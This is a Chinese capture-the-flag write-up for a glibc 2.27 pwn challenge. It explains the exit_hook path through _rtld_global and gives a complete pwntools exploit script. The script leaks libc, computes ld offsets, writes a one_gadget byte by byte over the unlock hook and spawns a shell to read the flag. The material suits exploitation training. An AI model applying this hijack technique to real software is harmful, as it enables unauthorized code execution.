程序运行流程:
调用exit()
函数的流程:
exit()->_dl_fini()->_rtld_global->_rtld_global._rtld_lock_recursive->_rtld_global._rtld_unlock_recursive
其中_rtld_global._rtld_lock_recursive-
和_rtld_global._rtld_unlock_recursive
就是所说的exit_hook
此题可以任意地址写5次,每次写1字节,开头泄露sleep()
函数地址,可以据此算出libc基址,而_rtld_global
在ld上,所以根据偏移求出ld基址,通过偏移求出exit_hook
地址
最后将one_gadget写入exit_hook
即可
exp:
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
io=remote("node4.buuoj.cn",29187)
# io=process("./the_end")
elf=ELF("./the_end")
libc=ELF("./libc-2.27.so")
ld=ELF("./ld-2.27.so")
def ss(c,cc):
io.send(c)
io.send(cc)
io.recvuntil(b"gift ")
leak_addr=int(io.recv(14),16)
print("leak_addr: "+hex(leak_addr))
libc_base=leak_addr-libc.sym[b"sleep"]
print("libc_base: "+hex(libc_base))
ld_base=libc_base+0x3f1000
io.recvuntil(b";)\n")
_rtld_global=ld_base+ld.sym[b"_rtld_global"]
__rtld_lock_unlock_recursive=_rtld_global+0xf08
print("_rtld_global: "+hex(_rtld_global))
print("__rtld_lock_unlock_recursive: "+hex(__rtld_lock_unlock_recursive))
# one_gadget=[0x4f365,0x4f3c2,0x10a45c]
one_gadget=[0x4f2c5,0x4f322,0x10a38c]
shell=one_gadget[1]+libc_base
print("shell: ",hex(shell))
for i in range(5):
ss(p64(__rtld_lock_unlock_recursive+i),p64(shell)[i:i+1])
io.sendline(b"exec 1>&0")
io.sendline(b"cat flag")
io.interactive()
# 0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
# constraints:
# rsp & 0xf == 0
# rcx == NULL
# 0x4f322 execve("/bin/sh", rsp+0x40, environ)
# constraints:
# [rsp+0x40] == NULL
# 0x10a38c execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL